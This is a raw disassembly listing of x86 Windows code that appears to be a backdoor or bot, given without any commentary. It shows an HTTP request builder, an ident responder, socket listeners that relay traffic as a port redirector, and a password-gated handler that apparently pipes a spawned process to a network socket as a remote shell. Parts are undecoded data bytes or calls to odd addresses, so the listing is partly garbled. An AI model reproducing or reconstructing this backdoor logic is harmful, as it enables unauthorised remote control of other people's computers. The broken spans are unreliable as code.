		mov	[ebp+var_E], ax
		call	sub_40AAF9
		pop	ecx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	ebx
		call	dword_4CAF4C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4101B8
		mov	eax, [ebp+arg_20]
		cmp	eax, edi
		jnz	short loc_410154
		mov	eax, offset dword_43D158

loc_410154:				; CODE XREF: sub_4100DB+72j
		push	esi
		mov	esi, 100h
		push	[ebp+arg_10]
		push	eax
		lea	eax, [ebp+var_110]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	offset aSSHttp1_1Refer ; "%s %s	HTTP/1.1\nReferer: %s\nHost: %s\nCon"...
		push	esi
		push	eax
		call	sub_41B980
		add	esp, 1Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_110]
		push	eax
		push	ebx
		call	dword_4CAFF4
		push	esi
		lea	eax, [ebp+var_110]
		push	edi
		push	eax
		call	sub_41C310
		add	esp, 0Ch
		lea	eax, [ebp+var_110]
		push	edi
		push	esi
		push	eax
		push	ebx
		call	dword_4CAFBC
		pop	esi

loc_4101B8:				; CODE XREF: sub_4100DB+6Bj
		push	ebx
		call	dword_4CB03C
		call	dword_4CAEFC
		lea	eax, [ebp+var_110]
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		call	sub_41B886
		cmp	[ebp+arg_C], edi
		pop	ecx
		pop	ecx
		jnz	short loc_4101F8
		push	edi
		lea	eax, [ebp+var_310]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_4101F8:				; CODE XREF: sub_4100DB+102j
		pop	edi
		pop	ebx
		leave
		retn
sub_4100DB	endp

; ---------------------------------------------------------------------------

loc_4101FC:				; DATA XREF: ___:00401666o
					; sub_401ACD+4369o
		push	ebp
		mov	ebp, esp
		sub	esp, 238h
		push	ebx
		push	esi
		push	edi
		push	10h
		pop	edi
		xor	esi, esi
		push	edi
		lea	eax, [ebp-1Ch]
		push	esi
		push	eax
		mov	[ebp-8], esi
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-1Ch], 2
		push	71h
		call	dword_4CAFA4
		push	esi
		push	1
		push	2
		mov	[ebp-1Ah], ax
		mov	[ebp-18h], esi
		call	dword_4CB024
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_410360
		mov	eax, [ebp+8]
		push	edi
		imul	eax, 234h
		mov	dword_43DEEC[eax], ebx
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4CAFD0
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		push	5
		push	ebx
		call	dword_4CAFCC
		cmp	eax, 0FFFFFFFFh
		jz	loc_410360
		mov	[ebp-0Ch], edi
		mov	edi, 200h

loc_410287:				; CODE XREF: ___:004102E6j
					; ___:00410349j ...
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	ebx
		call	dword_4CB038
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jz	loc_41035B
		movzx	eax, word ptr [ebp-2Ah]
		push	eax
		push	dword ptr [ebp-28h]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_433FCC
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 14h
		lea	eax, [ebp-238h]
		push	esi
		push	edi
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CAFBC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410287
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_417F7F
		push	0Ch
		lea	eax, [ebp-38h]
		push	esi
		push	eax
		call	sub_41B590
		push	esi
		push	esi
		lea	eax, [ebp-38h]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 24h
		push	eax
		push	offset aUseridUnixS ; "	: USERID : UNIX	: %s\r\n"
		lea	eax, [ebp-238h]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp-238h]
		push	esi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp-238h]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jz	loc_410287
		mov	dword ptr [ebp-8], 1
		jmp	loc_410287
; ---------------------------------------------------------------------------

loc_41035B:				; CODE XREF: ___:0041029Cj
		cmp	[ebp-8], esi
		jnz	short loc_410387

loc_410360:				; CODE XREF: ___:00410243j
					; ___:00410267j ...
		call	dword_4CAF38
		push	eax
		lea	eax, [ebp-238h]
		push	offset dword_433F88
		push	eax
		call	sub_41B886
		lea	eax, [ebp-238h]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_410387:				; CODE XREF: ___:0041035Ej
		push	ebx
		call	dword_4CB03C
		push	dword ptr [ebp-4]
		call	dword_4CB03C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi
		pop	ebx

loc_4103AA:				; DATA XREF: sub_401ACD+613Bo
		push	ebp
		mov	ebp, esp
		sub	esp, 350h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-150h]
		push	10h
		rep movsd
		pop	edi
		mov	dword ptr [eax+120h], 1
		xor	esi, esi
		push	edi
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-14h], 2
		push	dword ptr [ebp-44h]
		call	dword_4CAFA4
		push	6
		push	1
		push	2
		mov	[ebp-12h], ax
		mov	[ebp-10h], esi
		mov	[ebp-4], edi
		call	dword_4CB024
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+8], eax
		jz	loc_410516
		mov	ecx, [ebp-40h]
		push	1
		imul	ecx, 234h
		push	401h
		push	esi
		push	eax
		mov	dword_43DEEC[ecx], eax
		call	dword_4CAEB4
		lea	eax, [ebp-14h]
		push	edi
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFD0
		test	eax, eax
		jnz	loc_410516
		push	0Ah
		push	dword ptr [ebp+8]
		call	dword_4CAFCC
		test	eax, eax
		jnz	loc_410516

loc_41045A:				; CODE XREF: ___:00410470j
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CB038
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41045A
		movzx	eax, word ptr [ebp-26h]
		push	dword ptr [ebp-40h]
		mov	[ebp-14Ch], edi
		mov	[ebp-30h], esi
		push	eax
		push	dword ptr [ebp-24h]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp-350h]
		push	offset unk_434034
		push	eax
		call	sub_41B886
		push	edi
		lea	eax, [ebp-350h]
		push	18h
		push	eax
		call	sub_40B0F6
		mov	[ebp-3Ch], eax
		imul	eax, 234h
		mov	ecx, [ebp-40h]
		add	esp, 20h
		mov	dword_43DEE4[eax], ecx
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-150h]
		push	esi
		push	eax
		push	offset loc_41053B
		push	esi
		push	esi
		nop
; ---------------------------------------------------------------------------
		dw 0C1E8h
		dd 8B0225FBh, 0C969C44Dh, 234h,	8189C63Bh, 43DEF4h, 75391374h
		dd 63850FD0h, 6AFFFFFFh, 1E89032h, 0EB0225FBh, 0DE890EDh
		dd 50022604h, 433FF868h, 4D0EE800h, 59590000h
; ---------------------------------------------------------------------------
		jmp	short loc_410519
; ---------------------------------------------------------------------------

loc_410516:				; CODE XREF: ___:0041040Dj
					; ___:00410441j ...
		mov	edi, [ebp+8]

loc_410519:				; CODE XREF: ___:00410514j
		push	edi
		call	dword_4CB03C
		push	dword ptr [ebp+8]
		call	dword_4CB03C
		push	dword ptr [ebp-40h]
		call	sub_40B412
		pop	ecx
		push	esi
		nop
		call	near ptr 26D0000h
		pop	edi
		pop	esi

loc_41053B:				; DATA XREF: ___:004104CEo
		push	ebp
		mov	ebp, esp
		mov	eax, 1344h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	4Ah
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-144h]
		rep movsd
		mov	ebx, [ebp-30h]
		push	1
		pop	ecx
		mov	[ebp-4], ebx
		push	6
		push	ecx
		push	2
		mov	[eax+120h], ecx
		call	dword_4CB024
		mov	esi, eax
		xor	edi, edi
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+8], esi
		jz	loc_4106F1
		push	10h
		lea	eax, [ebp-18h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-18h], 2
		push	dword ptr [ebp-3Ch]
		call	dword_4CAFA4
		mov	[ebp-16h], ax
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CAFE4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_4105CB
		lea	eax, [ebp-13Ch]
		push	eax
		call	dword_4CB028
		jmp	short loc_4105D9
; ---------------------------------------------------------------------------

loc_4105CB:				; CODE XREF: ___:004105BAj
		push	2
		lea	eax, [ebp-8]
		push	4
		push	eax
		call	dword_4CAF5C

loc_4105D9:				; CODE XREF: ___:004105C9j
		cmp	eax, edi
		jz	loc_4106F1
		mov	eax, [eax+0Ch]
		push	10h
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp-14h], eax
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		call	dword_4CAF4C
		cmp	eax, 0FFFFFFFFh
		jz	loc_4106F1
		movzx	eax, word ptr [ebp-16h]
		push	dword ptr [ebp-34h]
		mov	[ebp-20h], edi
		push	eax
		push	dword ptr [ebp-14h]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp-344h]
		push	offset unk_4340BC
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-344h]
		push	18h
		push	eax
		call	sub_40B0F6
		imul	ebx, 234h
		mov	[ebp-30h], eax
		imul	eax, 234h
		mov	ecx, [ebp-34h]
		lea	esi, dword_43DEEC[ebx]
		mov	dword_43DEE4[eax], ecx
		add	esp, 20h
		mov	ecx, [esi]
		mov	dword_43DEF0[eax], ecx
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-144h]
		push	edi
		push	eax
		push	offset loc_410722
		push	edi
		push	edi
		call	near ptr 267009Ch
		nop
		mov	ecx, [ebp-30h]
		imul	ecx, 234h
		cmp	eax, edi
		mov	dword_43DEF4[ecx], eax
		jz	short loc_4106DE

loc_41068B:				; CODE XREF: ___:00410698j
		cmp	[ebp-20h], edi
		jnz	short loc_41069A
		push	32h
		nop
		call	near ptr 2670000h
		jmp	short loc_41068B
; ---------------------------------------------------------------------------

loc_41069A:				; CODE XREF: ___:0041068Ej
		mov	ebx, 1000h

loc_41069F:				; CODE XREF: ___:004106DAj
		push	ebx
		lea	eax, [ebp-1344h]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1344h]
		push	edi
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CAFBC
		cmp	eax, edi
		jle	short loc_4106F1
		push	edi
		push	eax
		lea	eax, [ebp-1344h]
		push	eax
		push	dword ptr [ebp+8]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41069F
		jmp	short loc_4106F1
; ---------------------------------------------------------------------------

loc_4106DE:				; CODE XREF: ___:00410689j
		nop
		call	near ptr 2670914h
		push	eax
		push	offset unk_43407C
		call	sub_415220
		pop	ecx
		pop	ecx

loc_4106F1:				; CODE XREF: ___:0041057Fj
					; ___:004105DBj ...
		mov	eax, [ebp-4]
		imul	eax, 234h
		push	dword_43DEEC[eax]
		call	dword_4CB03C
		push	dword ptr [ebp+8]
		call	dword_4CB03C
		push	dword ptr [ebp-4]
		call	sub_40B412
		pop	ecx
		push	edi
		call	near ptr 26D0000h
		nop
		pop	edi
		pop	esi
		pop	ebx

loc_410722:				; DATA XREF: ___:0041066Bo
		push	ebp
		mov	ebp, esp
		mov	eax, 1128h
		call	sub_41BB20
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	4Ah
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-128h]
		rep movsd
		mov	esi, [ebp-14h]
		mov	dword ptr [eax+124h], 1
		imul	esi, 234h
		mov	edi, 1000h

loc_410759:				; CODE XREF: ___:0041079Ej
		push	edi
		lea	eax, [ebp-1128h]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp-1128h]
		push	0
		push	edi
		push	eax
		push	dword_43DEF0[esi]
		call	dword_4CAFBC
		test	eax, eax
		jle	short loc_4107A0
		push	0
		push	eax
		lea	eax, [ebp-1128h]
		push	eax
		push	dword_43DEEC[esi]
		call	dword_4CAFF4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_410759

loc_4107A0:				; CODE XREF: ___:00410783j
		push	dword_43DEF0[esi]
		call	dword_4CB03C
		push	dword ptr [ebp-14h]
		call	sub_40B412
		pop	ecx
		push	0
; ---------------------------------------------------------------------------
		db 0E8h
		dd 22BF844h
		db 90h
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 3D4h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	78h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-3D4h]
		push	1
		mov	dword ptr [ebp-0Ch], 1Eh
		pop	ebx
		rep movsd
		mov	[eax+1DCh], ebx
		mov	eax, [ebp-208h]
		mov	[ebp+8], eax
		imul	eax, 234h
		lea	esi, dword_43DEEC[eax]
		xor	edi, edi
		mov	[ebp-8], edi
		mov	[ebp-1F4h], ebx
		mov	eax, [esi]
		mov	[ebp-1F0h], eax
		lea	eax, [ebp-0Ch]
		push	eax
		push	edi
		lea	eax, [ebp-1F4h]
		push	edi
		push	eax
		push	edi
		call	dword_4CAF8C
		test	eax, eax
		jnz	short loc_410843
		push	dword ptr [esi]
		call	dword_4CB03C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		nop
		call	near ptr 26D0000h

loc_410843:				; CODE XREF: ___:00410829j
		push	edi
		lea	eax, [ebp-3Ch]
		push	ebx
		push	eax
		push	dword ptr [esi]
		call	dword_4CAFBC
		lea	eax, [ebp-2Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-4Ch]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		lea	eax, [ebp-0F0h]
		push	40h
		push	eax
		push	dword ptr [esi]
		call	sub_4109C4
		add	esp, 24h
		lea	eax, [ebp-4]
		mov	dword ptr [ebp-4], 10h
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		push	dword ptr [esi]
		call	dword_4CAEF8
		test	eax, eax
		jz	short loc_4108BC
		call	dword_4CAF38
		push	eax
		push	offset unk_434194
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	edi
		nop
		call	near ptr 26D0000h

loc_4108BC:				; CODE XREF: ___:00410897j
		push	2
		lea	eax, [ebp-18h]
		push	4
		push	eax
		call	dword_4CAF5C
		cmp	eax, edi
		jnz	short loc_4108E6
		push	dword ptr [ebp-18h]
		call	dword_4CB030
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41B886
		jmp	short loc_4108F4
; ---------------------------------------------------------------------------

loc_4108E6:				; CODE XREF: ___:004108CCj
		push	dword ptr [eax]
		lea	eax, [ebp-0B0h]
		push	eax
		call	sub_41BEB0

loc_4108F4:				; CODE XREF: ___:004108E4j
		pop	ecx
		pop	ecx
		push	edi
		push	ebx
		push	offset dword_43D158
		push	dword ptr [esi]
		call	dword_4CAFF4
		cmp	dword_4CDD08, edi
		jnz	short loc_410956
		push	dword ptr [ebp-18h]
		lea	eax, [ebp-350h]
		push	eax
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		call	sub_410A1E
		add	esp, 10h
		test	eax, eax
		jnz	short loc_410956
		push	edi
		push	13h
		push	offset aPermissionDeni ; "Permission denied\n"
		push	dword ptr [esi]
		call	dword_4CAFF4
		push	dword ptr [esi]
		call	dword_4CB03C
		push	dword ptr [ebp+8]
		call	sub_40B412
		pop	ecx
		push	edi
		call	near ptr 26D0000h
		nop

loc_410956:				; CODE XREF: ___:0041090Bj
					; ___:0041092Cj
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_434158
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_410CD5
		add	esp, 10h
		test	eax, eax
		jnz	short loc_41099D
		nop
		call	near ptr 2670914h
		push	eax
		push	offset unk_43412C
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 0Ch
		push	ebx
		nop
		call	near ptr 26D0000h

loc_41099D:				; CODE XREF: ___:00410978j
		lea	eax, [ebp-0B0h]
		push	eax
		lea	eax, [ebp-2Ch]
		push	eax
		push	offset unk_434100
		call	sub_415220
		push	dword ptr [ebp+8]
		call	sub_40B412
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26D0000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4109C4	proc near		; CODE XREF: ___:00410859p
					; ___:00410866p ...

var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFBC
		cmp	eax, 1
		jnz	short loc_410A14
		mov	esi, [ebp+arg_4]

loc_4109E2:				; CODE XREF: sub_4109C4+41j
		mov	al, [ebp+var_1]
		mov	[esi], al
		inc	esi
		dec	[ebp+arg_8]
		jz	short loc_410A09
		test	al, al
		jz	short loc_410A18
		push	0
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFBC
		cmp	eax, 1
		jz	short loc_4109E2
		jmp	short loc_410A14
; ---------------------------------------------------------------------------

loc_410A09:				; CODE XREF: sub_4109C4+27j
		push	offset unk_4341C0
		call	sub_415220
		pop	ecx

loc_410A14:				; CODE XREF: sub_4109C4+19j
					; sub_4109C4+43j
		xor	eax, eax
		jmp	short loc_410A1B
; ---------------------------------------------------------------------------

loc_410A18:				; CODE XREF: sub_4109C4+2Bj
		push	1
		pop	eax

loc_410A1B:				; CODE XREF: sub_4109C4+52j
		pop	esi
		leave
		retn
sub_4109C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_410A1E	proc near		; CODE XREF: ___:00410922p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	[esp+arg_0]
		push	[esp+4+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_410A49
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	offset dword_4341EC
		call	sub_415220
		add	esp, 0Ch
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_410A49:				; CODE XREF: sub_410A1E+11j
		push	1
		pop	eax
		retn
sub_410A1E	endp

; ---------------------------------------------------------------------------
byte_410A4D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+23D4o
		dd 5A4EC81h, 458B0000h,	6A575608h, 0F08B5978h, 0FDECBD8Dh
		dd 16AFFFFh, 895FA5F3h,	1DCB8h,	5C858D00h, 50FFFFFAh, 20268h
		dd 1415FF00h, 33004CAFh, 74C63BF6h, 5C68501Dh, 0E8004343h
		dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 0F55AE890h
		dd 6857022Bh, 410CCBh, 0AFE890h, 0C0850236h, 59E82975h
		dd 900225FEh, 43186850h, 59E80043h, 59000047h, 0FC15FF59h
		dd 0FF004CAEh, 3BE8B475h, 59FFFFA9h, 21E89057h,	53022BF5h
		dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h
		dd 0B075FF00h, 0AFA415FFh, 66A004Ch, 66026A57h,	89E24589h
		dd 15FFE475h, 4CB024h, 0FB83D88Bh, 3B840FFFh, 8B000001h
		dd 106AB445h, 234C069h,	98890000h, 43DEECh, 50E0458Dh
		dd 0D015FF53h, 85004CAFh, 17850FC0h, 68000001h,	7FFFFFFFh
		dd 0CC15FF53h, 85004CAFh, 3850FC0h, 68000001h, 4342DCh
		dd 0CF045C7h, 89000000h, 7589F475h, 4642E8F8h, 89590000h
		dd 458D087Dh, 0FC45C7FCh, 10h, 0CC458D50h, 15FF5350h, 4CB038h
		dd 0FF83F88Bh, 0CA840FFFh, 0FF000000h, 458D0875h, 86A5008h
		dd 0FFFF68h, 15FF5700h,	4CAF84h, 74FFF883h, 45B70FC5h
		dd 0B475FFCEh, 50C87589h, 0FFD075FFh, 4CB03015h, 858D5000h
		dd 0FFFFFBECh, 43429868h, 0B7E85000h, 8D0000ACh, 0FFFBEC85h
		dd 0D1E850FFh, 57000045h, 0FBEC858Dh, 96AFFFFh,	0A50CE850h
		dd 4589FFFFh, 34C069B8h, 8B000002h, 0C483B44Dh,	0E4888924h
		dd 8D0043DEh, 8D50DC45h, 0FFFDEC85h, 685056FFh,	4107BFh
		dd 56F0458Dh, 0F482E850h, 8B900225h, 0C969B84Dh, 234h
		dd 8189C63Bh, 43DEF4h, 75391374h, 37850FC8h, 6AFFFFFFh
		dd 0F3C2E832h, 0EB900225h, 0CDE890EDh, 500225FCh, 43425C68h
		dd 45CEE800h, 59590000h, 7D8B03EBh, 3815FF08h, 50004CAFh
		dd 0FBEC858Dh, 2468FFFFh, 50004342h, 0AC15E8h, 0CC48300h
		dd 75C47539h, 858D5620h, 0FFFFFBECh, 50C075FFh,	0FDF0858Dh
		dd 0FF50FFFFh, 0FFFDECB5h, 8DDCE8FFh, 0C483FFFFh, 0EC858D14h
		dd 50FFFFFBh, 4507E8h, 0FF575900h, 4CB03C15h, 15FF5300h
		dd 4CB03Ch, 0AEFC15FFh,	75FF004Ch, 0A750E8B4h, 5659FFFFh
		dd 0F336E890h, 335B022Bh, 244439C0h, 0C0940F04h
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CD5	proc near		; CODE XREF: ___:0041096Ep

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		push	edi
		call	sub_410E26
		imul	edi, 234h
		mov	esi, eax
		xor	ebx, ebx
		mov	eax, dword_43DEEC[edi]
		mov	[ebp+var_C], 0Ch
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[esi+0Ch], eax
		mov	edi, dword_42707C
		pop	ecx
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_410FF8
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+10h], eax
		jnz	short loc_410D40
		call	near ptr 2670914h
		nop
		push	eax
		push	offset unk_4343BC
		call	sub_415220
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		pop	ecx
		jmp	short loc_410D7A
; ---------------------------------------------------------------------------

loc_410D40:				; CODE XREF: sub_410CD5+50j
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	esi
		push	offset sub_4110AA
		lea	eax, [ebp+var_C]
		push	ebx
		push	eax
		call	edi
		cmp	eax, ebx
		mov	[esi+14h], eax
		jnz	short loc_410D81
		nop
		call	near ptr 2670914h
		push	eax
		push	offset unk_4343BC
		call	sub_415220
		pop	ecx
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		pop	ecx
		push	ebx
		push	dword ptr [esi+14h]
		nop
		call	near ptr 2680981h

loc_410D7A:				; CODE XREF: sub_410CD5+69j
		xor	eax, eax
		jmp	loc_410E21
; ---------------------------------------------------------------------------

loc_410D81:				; CODE XREF: sub_410CD5+82j
		mov	eax, [esi+10h]
		push	0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	eax, [esi+14h]
		mov	[ebp+var_14], eax
		mov	eax, [esi+8]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		push	3
		nop
		call	near ptr 2770E90h
		sub	eax, ebx
		jz	short loc_410DDB
		dec	eax
		jz	short loc_410DD5
		dec	eax
		jz	short loc_410DC1
		nop
		call	near ptr 2670914h
		push	eax
		push	offset unk_434388
		call	sub_415220
		pop	ecx
		pop	ecx
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------

loc_410DC1:				; CODE XREF: sub_410CD5+D5j
		mov	edi, dword_4270AC
		push	ebx
		push	dword ptr [esi+14h]
		call	edi
		push	ebx
		push	dword ptr [esi+10h]
		call	edi
		jmp	short loc_410DF0
; ---------------------------------------------------------------------------

loc_410DD5:				; CODE XREF: sub_410CD5+D2j
		push	ebx
		push	dword ptr [esi+10h]
		jmp	short loc_410DDF
; ---------------------------------------------------------------------------

loc_410DDB:				; CODE XREF: sub_410CD5+CFj
		push	ebx
		push	dword ptr [esi+14h]

loc_410DDF:				; CODE XREF: sub_410CD5+104j
		nop
		call	near ptr 2680981h
		push	1
		push	dword ptr [esi+8]
		nop
		call	near ptr 26F0AF0h

loc_410DF0:				; CODE XREF: sub_410CD5+EAj
					; sub_410CD5+FEj
		push	dword ptr [esi+10h]
		mov	edi, dword_427068
		call	edi
		push	dword ptr [esi+14h]
		call	edi
		push	dword ptr [esi+8]
		call	edi
		push	dword ptr [esi]
		call	edi
		push	dword ptr [esi+4]
		call	edi
		push	dword ptr [esi+0Ch]
		call	dword_4CB03C
		push	esi
		call	sub_41B0B1
		pop	ecx
		push	1
		pop	eax

loc_410E21:				; CODE XREF: sub_410CD5+A7j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410CD5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410E26	proc near		; CODE XREF: sub_410CD5+Dp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		push	18h
		mov	[ebp+var_4], edi
		mov	[ebp+var_8], edi
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		jz	loc_410F10
		mov	ebx, dword_4270FC
		lea	eax, [ebp+var_14]
		push	edi
		push	eax
		lea	eax, [ebp+var_8]
		mov	[esi], edi
		push	eax
		mov	[esi+4], edi
		push	esi
		mov	[ebp+var_14], 0Ch
		mov	[ebp+var_10], edi
		mov	[ebp+var_C], 1
		call	ebx
		mov	edi, dword_427068
		test	eax, eax
		jnz	short loc_410E89
		nop
		call	near ptr 2670914h
		push	eax
		push	offset unk_43446C
		jmp	short loc_410EA9
; ---------------------------------------------------------------------------

loc_410E89:				; CODE XREF: sub_410E26+53j
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		lea	eax, [esi+4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	ebx
		test	eax, eax
		jnz	short loc_410EB1
		call	near ptr 2670914h
		nop
		push	eax
		push	offset unk_43442C

loc_410EA9:				; CODE XREF: sub_410E26+61j
		call	sub_415220
		pop	ecx
		jmp	short loc_410EDF
; ---------------------------------------------------------------------------

loc_410EB1:				; CODE XREF: sub_410E26+75j
		push	[ebp+arg_0]
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_410F1F
		add	esp, 0Ch
		mov	[esi+8], eax
		push	[ebp+var_4]
		call	edi
		push	[ebp+var_8]
		call	edi
		cmp	dword ptr [esi+8], 0
		jnz	short loc_410F14
		push	offset unk_434404
		call	sub_4151AC

loc_410EDF:				; CODE XREF: sub_410E26+89j
		cmp	[ebp+var_4], 0
		pop	ecx
		jz	short loc_410EEB
		push	[ebp+var_4]
		call	edi

loc_410EEB:				; CODE XREF: sub_410E26+BEj
		cmp	[ebp+var_8], 0
		jz	short loc_410EF6
		push	[ebp+var_8]
		call	edi

loc_410EF6:				; CODE XREF: sub_410E26+C9j
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_410EFF
		push	eax
		call	edi

loc_410EFF:				; CODE XREF: sub_410E26+D4j
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_410F09
		push	eax
		call	edi

loc_410F09:				; CODE XREF: sub_410E26+DEj
		push	esi
		call	sub_41B0B1
		pop	ecx

loc_410F10:				; CODE XREF: sub_410E26+1Dj
		xor	eax, eax
		jmp	short loc_410F1A
; ---------------------------------------------------------------------------

loc_410F14:				; CODE XREF: sub_410E26+ADj
		or	dword ptr [esi+0Ch], 0FFFFFFFFh
		mov	eax, esi

loc_410F1A:				; CODE XREF: sub_410E26+ECj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410E26	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410F1F	proc near		; CODE XREF: sub_410E26+94p

